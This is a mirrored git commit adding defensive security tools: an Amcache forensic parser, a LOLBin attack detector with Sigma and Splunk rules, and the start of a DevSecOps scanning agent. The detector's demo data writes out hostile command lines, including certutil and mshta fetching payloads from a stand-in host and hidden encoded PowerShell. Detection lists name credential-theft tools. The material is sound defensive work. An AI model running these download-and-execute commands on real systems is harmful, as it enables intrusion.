mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-10 21:24:56 +03:00
feat: add 5 new cybersecurity skills - yara hunting, devsecops scanning, amcache, LOtL, privileged session monitoring
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,18 @@
|
||||
---
|
||||
name: analyzing-windows-amcache-artifacts
|
||||
description: >
|
||||
Parse and analyze Windows Amcache.hve registry hive to extract program
|
||||
execution evidence, file metadata, SHA-1 hashes, and device connection
|
||||
history for digital forensics and incident response investigations.
|
||||
domain: cybersecurity
|
||||
subdomain: digital-forensics
|
||||
tags: [amcache, windows-forensics, registry-analysis, execution-artifacts]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Analyzing Windows Amcache Artifacts
|
||||
|
||||
Extract execution evidence from Amcache.hve including application paths,
|
||||
SHA-1 hashes, timestamps, and publisher metadata for DFIR investigations.
|
||||
@@ -0,0 +1,67 @@
|
||||
# API Reference: Analyzing Windows Amcache Artifacts
|
||||
|
||||
## Amcache.hve Location
|
||||
```
|
||||
C:\Windows\AppCompat\Programs\Amcache.hve
|
||||
```
|
||||
|
||||
## Registry Keys
|
||||
| Key Path | Contents |
|
||||
|----------|---------|
|
||||
| Root\InventoryApplicationFile | File execution evidence with SHA-1 |
|
||||
| Root\InventoryApplication | Installed application metadata |
|
||||
| Root\InventoryDevicePnp | PnP device connection history |
|
||||
| Root\InventoryDriverBinary | Driver binary metadata |
|
||||
|
||||
## regipy Python Library
|
||||
```bash
|
||||
pip install regipy
|
||||
```
|
||||
|
||||
```python
|
||||
from regipy.registry import RegistryHive
|
||||
|
||||
reg = RegistryHive('/path/to/Amcache.hve')
|
||||
for subkey in reg.get_key('Root\\InventoryApplicationFile').iter_subkeys():
|
||||
values = {v.name: v.value for v in subkey.iter_values()}
|
||||
print(values.get('Name'), values.get('LowerCaseLongPath'))
|
||||
```
|
||||
|
||||
## AmcacheParser (Eric Zimmerman)
|
||||
```bash
|
||||
# Parse Amcache.hve to CSV
|
||||
AmcacheParser.exe -f C:\evidence\Amcache.hve --csv C:\output\
|
||||
|
||||
# Include device and driver entries
|
||||
AmcacheParser.exe -f Amcache.hve --csv output\ -i
|
||||
```
|
||||
|
||||
### Output CSV Columns
|
||||
| Column | Description |
|
||||
|--------|------------|
|
||||
| Name | Application/file name |
|
||||
| LowerCaseLongPath | Full lowercase path |
|
||||
| Publisher | Software publisher |
|
||||
| FileId | SHA-1 hash (prefixed with 0000) |
|
||||
| Size | File size in bytes |
|
||||
| LinkDate | PE compilation timestamp |
|
||||
| Version | File version string |
|
||||
| ProgramId | Associated program GUID |
|
||||
|
||||
## Forensic Value
|
||||
| Artifact | Evidence |
|
||||
|----------|---------|
|
||||
| SHA-1 hash | File identification even after deletion |
|
||||
| LowerCaseLongPath | Execution path including USB/temp |
|
||||
| LinkDate | PE compile time (timestomping detection) |
|
||||
| Publisher | Legitimacy verification |
|
||||
| Last Modified | Registry key update timestamp |
|
||||
|
||||
## Suspicious Indicators
|
||||
| Pattern | Concern |
|
||||
|---------|---------|
|
||||
| Path contains \\Temp\\ | Execution from temp directory |
|
||||
| Path contains \\Downloads\\ | User-downloaded execution |
|
||||
| Missing Publisher | Unsigned/unknown binary |
|
||||
| LinkDate far from file date | Possible timestomping |
|
||||
| Known tool names (mimikatz, psexec) | Attacker tooling |
|
||||
@@ -0,0 +1,166 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Windows Amcache.hve forensic analysis agent.
|
||||
|
||||
Parses Amcache.hve registry hive to extract program execution history,
|
||||
file metadata, and device information using the regipy library.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import datetime
|
||||
import struct
|
||||
|
||||
try:
|
||||
from regipy.registry import RegistryHive
|
||||
HAS_REGIPY = True
|
||||
except ImportError:
|
||||
HAS_REGIPY = False
|
||||
|
||||
|
||||
AMCACHE_FILE_KEY = "Root\InventoryApplicationFile"
|
||||
AMCACHE_APP_KEY = "Root\InventoryApplication"
|
||||
AMCACHE_DEVICE_KEY = "Root\InventoryDevicePnp"
|
||||
AMCACHE_DRIVER_KEY = "Root\InventoryDriverBinary"
|
||||
|
||||
SUSPICIOUS_PATHS = [
|
||||
"\\temp\\", "\\tmp\\", "\\appdata\\local\\temp",
|
||||
"\\downloads\\", "\\public\\", "\\programdata\\",
|
||||
"\\recycle", "\\users\\public",
|
||||
]
|
||||
|
||||
SUSPICIOUS_NAMES = [
|
||||
"mimikatz", "psexec", "lazagne", "procdump", "rubeus",
|
||||
"sharphound", "bloodhound", "cobalt", "beacon",
|
||||
"powershell_ise", "certutil", "mshta",
|
||||
]
|
||||
|
||||
|
||||
def parse_amcache_files(hive_path):
|
||||
"""Parse InventoryApplicationFile entries from Amcache.hve."""
|
||||
if not HAS_REGIPY:
|
||||
return {"error": "regipy not installed. pip install regipy"}
|
||||
try:
|
||||
reg = RegistryHive(hive_path)
|
||||
entries = []
|
||||
for subkey in reg.get_key(AMCACHE_FILE_KEY).iter_subkeys():
|
||||
values = {v.name: v.value for v in subkey.iter_values()}
|
||||
entries.append({
|
||||
"name": values.get("Name", ""),
|
||||
"lower_case_path": values.get("LowerCaseLongPath", ""),
|
||||
"publisher": values.get("Publisher", ""),
|
||||
"version": values.get("Version", ""),
|
||||
"sha1": values.get("FileId", "").lstrip("0000").lower() if values.get("FileId") else "",
|
||||
"size": values.get("Size", 0),
|
||||
"link_date": values.get("LinkDate", ""),
|
||||
"program_id": values.get("ProgramId", ""),
|
||||
"last_modified": subkey.header.last_modified.isoformat() if subkey.header.last_modified else "",
|
||||
})
|
||||
return entries
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def parse_amcache_apps(hive_path):
|
||||
"""Parse InventoryApplication entries."""
|
||||
if not HAS_REGIPY:
|
||||
return {"error": "regipy not installed"}
|
||||
try:
|
||||
reg = RegistryHive(hive_path)
|
||||
apps = []
|
||||
for subkey in reg.get_key(AMCACHE_APP_KEY).iter_subkeys():
|
||||
values = {v.name: v.value for v in subkey.iter_values()}
|
||||
apps.append({
|
||||
"name": values.get("Name", ""),
|
||||
"version": values.get("Version", ""),
|
||||
"publisher": values.get("Publisher", ""),
|
||||
"install_date": values.get("InstallDate", ""),
|
||||
"source": values.get("Source", ""),
|
||||
"uninstall_string": values.get("UninstallString", ""),
|
||||
"registry_key_path": values.get("RegistryKeyPath", ""),
|
||||
})
|
||||
return apps
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def detect_suspicious(entries):
|
||||
"""Flag suspicious entries based on path and name patterns."""
|
||||
findings = []
|
||||
for entry in entries:
|
||||
if isinstance(entry, dict) and "error" not in entry:
|
||||
path = entry.get("lower_case_path", "").lower()
|
||||
name = entry.get("name", "").lower()
|
||||
reasons = []
|
||||
for sp in SUSPICIOUS_PATHS:
|
||||
if sp in path:
|
||||
reasons.append(f"Suspicious path: {sp}")
|
||||
for sn in SUSPICIOUS_NAMES:
|
||||
if sn in name:
|
||||
reasons.append(f"Suspicious name: {sn}")
|
||||
if not entry.get("publisher"):
|
||||
reasons.append("Missing publisher metadata")
|
||||
if reasons:
|
||||
findings.append({
|
||||
"name": entry.get("name", ""),
|
||||
"path": entry.get("lower_case_path", ""),
|
||||
"sha1": entry.get("sha1", ""),
|
||||
"reasons": reasons,
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Amcache.hve forensic analysis agent")
|
||||
parser.add_argument("hive", nargs="?", help="Path to Amcache.hve file")
|
||||
parser.add_argument("--apps", action="store_true", help="Parse InventoryApplication entries")
|
||||
parser.add_argument("--suspicious-only", action="store_true", help="Show only suspicious entries")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Amcache.hve Forensic Analysis Agent")
|
||||
print(f" regipy available: {HAS_REGIPY}")
|
||||
|
||||
if not args.hive:
|
||||
print("\n[DEMO] Amcache.hve location: C:\\Windows\\AppCompat\\Programs\\Amcache.hve")
|
||||
print(" Usage: python agent.py Amcache.hve [--apps] [--suspicious-only]")
|
||||
print(" Extracts: file paths, SHA-1 hashes, publisher, timestamps, install info")
|
||||
print(json.dumps({"demo": True, "regipy_available": HAS_REGIPY}, indent=2))
|
||||
sys.exit(0)
|
||||
|
||||
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "hive": args.hive}
|
||||
|
||||
files = parse_amcache_files(args.hive)
|
||||
if isinstance(files, list):
|
||||
report["file_entries"] = len(files)
|
||||
suspicious = detect_suspicious(files)
|
||||
report["suspicious_count"] = len(suspicious)
|
||||
if args.suspicious_only:
|
||||
report["findings"] = suspicious
|
||||
else:
|
||||
report["entries"] = files[:100]
|
||||
report["suspicious"] = suspicious
|
||||
print(f"[*] File entries: {len(files)}")
|
||||
print(f"[*] Suspicious: {len(suspicious)}")
|
||||
for s in suspicious[:10]:
|
||||
print(f" [!] {s['name']}: {', '.join(s['reasons'])}")
|
||||
else:
|
||||
report["error"] = files
|
||||
|
||||
if args.apps:
|
||||
apps = parse_amcache_apps(args.hive)
|
||||
if isinstance(apps, list):
|
||||
report["app_entries"] = len(apps)
|
||||
print(f"[*] Application entries: {len(apps)}")
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
|
||||
print(json.dumps({"file_entries": report.get("file_entries", 0),
|
||||
"suspicious": report.get("suspicious_count", 0)}, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,19 @@
|
||||
---
|
||||
name: detecting-living-off-the-land-attacks
|
||||
description: >
|
||||
Detect abuse of legitimate Windows binaries (LOLBins) used for living off
|
||||
the land attacks. Monitors process creation, command-line arguments, and
|
||||
parent-child relationships to identify suspicious LOLBin execution patterns.
|
||||
domain: cybersecurity
|
||||
subdomain: threat-detection
|
||||
tags: [lolbins, lotl, fileless-attacks, process-monitoring]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Detecting Living Off the Land Attacks
|
||||
|
||||
Monitor for suspicious use of legitimate Windows binaries (LOLBins)
|
||||
including certutil, mshta, rundll32, regsvr32, and others used in
|
||||
fileless and living-off-the-land attack techniques.
|
||||
@@ -0,0 +1,70 @@
|
||||
# API Reference: Detecting Living Off the Land Attacks
|
||||
|
||||
## LOLBAS Project
|
||||
- Website: https://lolbas-project.github.io/
|
||||
- API: https://lolbas-project.github.io/api/lolbas.json
|
||||
- GitHub: https://github.com/LOLBAS-Project/LOLBAS
|
||||
|
||||
## Key LOLBins and MITRE Mappings
|
||||
| Binary | MITRE ATT&CK | Abuse Type |
|
||||
|--------|-------------|------------|
|
||||
| certutil.exe | T1140, T1105 | File download, decode |
|
||||
| mshta.exe | T1218.005 | Script execution via HTA |
|
||||
| rundll32.exe | T1218.011 | Proxy execution |
|
||||
| regsvr32.exe | T1218.010 | COM scriptlet execution |
|
||||
| msbuild.exe | T1127.001 | Code compilation |
|
||||
| bitsadmin.exe | T1197, T1105 | File download, persistence |
|
||||
| wmic.exe | T1047 | WMI execution |
|
||||
| cscript.exe | T1059.005 | VBS/JS script execution |
|
||||
| installutil.exe | T1218.004 | .NET install bypass |
|
||||
| powershell.exe | T1059.001 | Script execution |
|
||||
|
||||
## Sysmon Event IDs for Detection
|
||||
| Event ID | Description |
|
||||
|----------|------------|
|
||||
| 1 | Process Create (CommandLine, ParentImage) |
|
||||
| 3 | Network Connection (detect downloads) |
|
||||
| 7 | Image Loaded (DLL side-loading) |
|
||||
| 11 | File Create (dropped payloads) |
|
||||
| 15 | FileCreateStreamHash (ADS abuse) |
|
||||
|
||||
## Sigma Rules for LOLBin Detection
|
||||
```yaml
|
||||
title: Certutil File Download
|
||||
logsource:
|
||||
category: process_creation
|
||||
product: windows
|
||||
detection:
|
||||
selection:
|
||||
Image|endswith: '\\certutil.exe'
|
||||
CommandLine|contains|all:
|
||||
- 'urlcache'
|
||||
- 'split'
|
||||
- 'http'
|
||||
condition: selection
|
||||
level: high
|
||||
tags:
|
||||
- attack.defense_evasion
|
||||
- attack.t1140
|
||||
```
|
||||
|
||||
## Splunk SPL Detection
|
||||
```spl
|
||||
index=sysmon EventCode=1
|
||||
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\\.exe$")
|
||||
| eval suspicious=case(
|
||||
like(CommandLine, "%urlcache%"), "certutil download",
|
||||
like(CommandLine, "%javascript:%"), "script execution",
|
||||
like(CommandLine, "%-enc %"), "encoded command",
|
||||
true(), "review")
|
||||
| where suspicious!="review"
|
||||
| table _time Computer User Image CommandLine ParentImage suspicious
|
||||
```
|
||||
|
||||
## Suspicious Parent-Child Relationships
|
||||
| Parent | Suspicious Child |
|
||||
|--------|-----------------|
|
||||
| winword.exe | cmd.exe, powershell.exe, mshta.exe |
|
||||
| excel.exe | cmd.exe, powershell.exe, wmic.exe |
|
||||
| outlook.exe | powershell.exe, cmd.exe |
|
||||
| wmiprvse.exe | powershell.exe, cmd.exe |
|
||||
@@ -0,0 +1,222 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Living off the land (LOLBin) attack detection agent.
|
||||
|
||||
Monitors process creation logs for suspicious use of legitimate Windows
|
||||
binaries, correlates with LOLBAS project data, and flags anomalous
|
||||
command-line patterns and parent-child process relationships.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import datetime
|
||||
|
||||
try:
|
||||
import requests
|
||||
HAS_REQUESTS = True
|
||||
except ImportError:
|
||||
HAS_REQUESTS = False
|
||||
|
||||
|
||||
LOLBIN_SIGNATURES = {
|
||||
"certutil.exe": {
|
||||
"suspicious_args": [
|
||||
r"-urlcache", r"-split", r"-decode", r"-encode",
|
||||
r"-verifyctl", r"http[s]?://",
|
||||
],
|
||||
"mitre": ["T1140", "T1105"],
|
||||
"description": "Certificate utility abused for file download/decode",
|
||||
},
|
||||
"mshta.exe": {
|
||||
"suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"],
|
||||
"mitre": ["T1218.005"],
|
||||
"description": "HTML Application host used for script execution",
|
||||
},
|
||||
"rundll32.exe": {
|
||||
"suspicious_args": [
|
||||
r"javascript:", r"shell32\.dll.*ShellExec_RunDLL",
|
||||
r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX",
|
||||
],
|
||||
"mitre": ["T1218.011"],
|
||||
"description": "DLL loader abused for proxy execution",
|
||||
},
|
||||
"regsvr32.exe": {
|
||||
"suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"],
|
||||
"mitre": ["T1218.010"],
|
||||
"description": "COM registration utility abused for script execution",
|
||||
},
|
||||
"msbuild.exe": {
|
||||
"suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"],
|
||||
"mitre": ["T1127.001"],
|
||||
"description": "Build tool abused for code compilation and execution",
|
||||
},
|
||||
"installutil.exe": {
|
||||
"suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"],
|
||||
"mitre": ["T1218.004"],
|
||||
"description": ".NET install utility abused for code execution",
|
||||
},
|
||||
"bitsadmin.exe": {
|
||||
"suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"],
|
||||
"mitre": ["T1197", "T1105"],
|
||||
"description": "BITS service abused for file download and persistence",
|
||||
},
|
||||
"wmic.exe": {
|
||||
"suspicious_args": [
|
||||
r"process\s+call\s+create", r"os\s+get", r"/node:",
|
||||
r"shadowcopy\s+delete",
|
||||
],
|
||||
"mitre": ["T1047"],
|
||||
"description": "WMI command-line abused for execution and recon",
|
||||
},
|
||||
"cscript.exe": {
|
||||
"suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"],
|
||||
"mitre": ["T1059.005", "T1059.007"],
|
||||
"description": "Script host executing VBS/JS from unusual location",
|
||||
},
|
||||
"powershell.exe": {
|
||||
"suspicious_args": [
|
||||
r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass",
|
||||
r"-WindowStyle\s+Hidden", r"Invoke-Expression",
|
||||
r"IEX\s*\(", r"Net\.WebClient", r"DownloadString",
|
||||
],
|
||||
"mitre": ["T1059.001"],
|
||||
"description": "PowerShell with obfuscation or download cradle",
|
||||
},
|
||||
}
|
||||
|
||||
SUSPICIOUS_PARENTS = {
|
||||
"winword.exe": "Office application spawning child process",
|
||||
"excel.exe": "Office application spawning child process",
|
||||
"outlook.exe": "Email client spawning child process",
|
||||
"powerpnt.exe": "Office application spawning child process",
|
||||
"wmiprvse.exe": "WMI provider executing child process",
|
||||
"svchost.exe": "Service host spawning unexpected child",
|
||||
}
|
||||
|
||||
|
||||
def analyze_process_event(process_name, command_line, parent_name=None):
|
||||
"""Analyze a process creation event for LOLBin abuse."""
|
||||
findings = []
|
||||
proc_lower = process_name.lower()
|
||||
cmd_lower = command_line.lower() if command_line else ""
|
||||
|
||||
sig = LOLBIN_SIGNATURES.get(proc_lower)
|
||||
if sig:
|
||||
matched_patterns = []
|
||||
for pattern in sig["suspicious_args"]:
|
||||
if re.search(pattern, cmd_lower, re.IGNORECASE):
|
||||
matched_patterns.append(pattern)
|
||||
if matched_patterns:
|
||||
findings.append({
|
||||
"type": "lolbin_abuse",
|
||||
"binary": proc_lower,
|
||||
"description": sig["description"],
|
||||
"mitre_techniques": sig["mitre"],
|
||||
"matched_patterns": matched_patterns,
|
||||
"command_line": command_line[:200],
|
||||
"severity": "HIGH",
|
||||
})
|
||||
|
||||
if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS:
|
||||
findings.append({
|
||||
"type": "suspicious_parent",
|
||||
"parent": parent_name.lower(),
|
||||
"child": proc_lower,
|
||||
"description": SUSPICIOUS_PARENTS[parent_name.lower()],
|
||||
"severity": "HIGH",
|
||||
})
|
||||
|
||||
return findings
|
||||
|
||||
|
||||
def scan_process_log(log_entries):
|
||||
"""Scan a list of process creation log entries."""
|
||||
all_findings = []
|
||||
for entry in log_entries:
|
||||
findings = analyze_process_event(
|
||||
entry.get("process_name", ""),
|
||||
entry.get("command_line", ""),
|
||||
entry.get("parent_name"),
|
||||
)
|
||||
if findings:
|
||||
entry_result = {"event": entry, "findings": findings}
|
||||
all_findings.append(entry_result)
|
||||
return all_findings
|
||||
|
||||
|
||||
def fetch_lolbas_data():
|
||||
"""Fetch LOLBAS project data from GitHub."""
|
||||
if not HAS_REQUESTS:
|
||||
return {"error": "requests not installed"}
|
||||
url = "https://lolbas-project.github.io/api/lolbas.json"
|
||||
try:
|
||||
resp = requests.get(url, timeout=15)
|
||||
if resp.status_code == 200:
|
||||
data = resp.json()
|
||||
return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]}
|
||||
return {"error": f"HTTP {resp.status_code}"}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Detect living off the land (LOLBin) attacks"
|
||||
)
|
||||
parser.add_argument("--log-file", help="JSON file with process creation events")
|
||||
parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Living Off the Land Attack Detection Agent")
|
||||
print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}")
|
||||
|
||||
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"}
|
||||
|
||||
if args.fetch_lolbas:
|
||||
lolbas = fetch_lolbas_data()
|
||||
report["lolbas_project"] = lolbas
|
||||
print(f"[*] LOLBAS data: {lolbas}")
|
||||
|
||||
if args.log_file and os.path.isfile(args.log_file):
|
||||
with open(args.log_file) as f:
|
||||
events = json.load(f)
|
||||
results = scan_process_log(events)
|
||||
report["findings"] = results
|
||||
print(f"[*] Events analyzed: {len(events)}")
|
||||
print(f"[*] Suspicious findings: {len(results)}")
|
||||
else:
|
||||
demo_events = [
|
||||
{"process_name": "certutil.exe",
|
||||
"command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe",
|
||||
"parent_name": "cmd.exe"},
|
||||
{"process_name": "mshta.exe",
|
||||
"command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')",
|
||||
"parent_name": "winword.exe"},
|
||||
{"process_name": "powershell.exe",
|
||||
"command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...",
|
||||
"parent_name": "excel.exe"},
|
||||
{"process_name": "notepad.exe",
|
||||
"command_line": "notepad.exe C:\\Users\\admin\\notes.txt",
|
||||
"parent_name": "explorer.exe"},
|
||||
]
|
||||
results = scan_process_log(demo_events)
|
||||
report["findings"] = results
|
||||
print(f"\n[DEMO] Analyzed {len(demo_events)} process events")
|
||||
for r in results:
|
||||
for f in r["findings"]:
|
||||
print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} "
|
||||
f"- {f['description']}")
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
|
||||
print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES),
|
||||
"findings": len(report.get("findings", []))}, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,18 @@
|
||||
---
|
||||
name: implementing-devsecops-security-scanning
|
||||
description: >
|
||||
Integrate security scanning into CI/CD pipelines using tools like Semgrep,
|
||||
Trivy, and Gitleaks. Covers SAST, SCA, container scanning, and secret
|
||||
detection with structured JSON output for pipeline gates.
|
||||
domain: cybersecurity
|
||||
subdomain: application-security
|
||||
tags: [devsecops, sast, sca, container-security, ci-cd]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Implementing DevSecOps Security Scanning
|
||||
|
||||
Automate SAST, SCA, container image, and secret scanning in CI/CD
|
||||
pipelines with fail/pass gates based on severity thresholds.
|
||||
@@ -0,0 +1,68 @@
|
||||
# API Reference: DevSecOps Security Scanning
|
||||
|
||||
## Semgrep CLI (SAST)
|
||||
```bash
|
||||
# Scan with auto-detected rules
|
||||
semgrep scan --config auto --json /path/to/code
|
||||
|
||||
# Scan with specific ruleset
|
||||
semgrep scan --config p/owasp-top-ten --json /path/to/code
|
||||
|
||||
# Custom rule file
|
||||
semgrep scan --config my_rules.yaml --json /path/to/code
|
||||
|
||||
# SARIF output for GitHub integration
|
||||
semgrep scan --config auto --sarif -o results.sarif /path/to/code
|
||||
```
|
||||
|
||||
## Trivy CLI (SCA / Container)
|
||||
```bash
|
||||
# Scan container image
|
||||
trivy image --format json --quiet nginx:latest
|
||||
|
||||
# Scan filesystem for vulnerabilities
|
||||
trivy fs --format json --scanners vuln,secret /path/to/project
|
||||
|
||||
# Scan with severity filter
|
||||
trivy image --severity CRITICAL,HIGH --format json myapp:latest
|
||||
|
||||
# Scan IaC files
|
||||
trivy config --format json /path/to/terraform/
|
||||
```
|
||||
|
||||
## Gitleaks CLI (Secret Detection)
|
||||
```bash
|
||||
# Detect secrets in git repo
|
||||
gitleaks detect --source /path/to/repo --report-format json --report-path report.json
|
||||
|
||||
# Scan specific commit range
|
||||
gitleaks detect --source . --log-opts="HEAD~10..HEAD" --report-format json
|
||||
|
||||
# Protect mode (pre-commit)
|
||||
gitleaks protect --staged --report-format json
|
||||
```
|
||||
|
||||
## CI/CD Pipeline Gate Logic
|
||||
| Severity | Exit Code | Action |
|
||||
|----------|-----------|--------|
|
||||
| CRITICAL | 1 (fail) | Block merge/deploy |
|
||||
| HIGH | 1 (fail) | Block merge/deploy |
|
||||
| MEDIUM | 0 (warn) | Warning in PR comment |
|
||||
| LOW | 0 (pass) | Informational only |
|
||||
|
||||
## JSON Output Schema (Semgrep)
|
||||
| Field | Description |
|
||||
|-------|------------|
|
||||
| results[].check_id | Rule identifier |
|
||||
| results[].extra.severity | ERROR, WARNING, INFO |
|
||||
| results[].path | Affected file path |
|
||||
| results[].start.line | Line number |
|
||||
| results[].extra.message | Finding description |
|
||||
|
||||
## JSON Output Schema (Trivy)
|
||||
| Field | Description |
|
||||
|-------|------------|
|
||||
| Results[].Target | Scanned target name |
|
||||
| Results[].Vulnerabilities[].VulnerabilityID | CVE identifier |
|
||||
| Results[].Vulnerabilities[].Severity | CRITICAL/HIGH/MEDIUM/LOW |
|
||||
| Results[].Vulnerabilities[].FixedVersion | Version with fix |
|
||||
@@ -0,0 +1,172 @@
|
||||
#!/usr/bin/env python3
|
||||
"""DevSecOps security scanning pipeline agent.
|
||||
|
||||
Orchestrates Semgrep (SAST), Trivy (container/SCA), and Gitleaks (secrets)
|
||||
scans via subprocess, aggregates findings, and enforces severity gates.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import datetime
|
||||
|
||||
|
||||
SEVERITY_ORDER = {"CRITICAL": 4, "HIGH": 3, "MEDIUM": 2, "LOW": 1, "INFO": 0}
|
||||
|
||||
|
||||
def run_semgrep(target_dir, config="auto"):
|
||||
"""Run Semgrep SAST scan and return findings."""
|
||||
cmd = ["semgrep", "scan", "--config", config, "--json", "--quiet", target_dir]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
|
||||
data = json.loads(result.stdout) if result.stdout.strip() else {}
|
||||
findings = []
|
||||
for r in data.get("results", []):
|
||||
findings.append({
|
||||
"tool": "semgrep",
|
||||
"rule_id": r.get("check_id", ""),
|
||||
"severity": r.get("extra", {}).get("severity", "WARNING").upper(),
|
||||
"message": r.get("extra", {}).get("message", ""),
|
||||
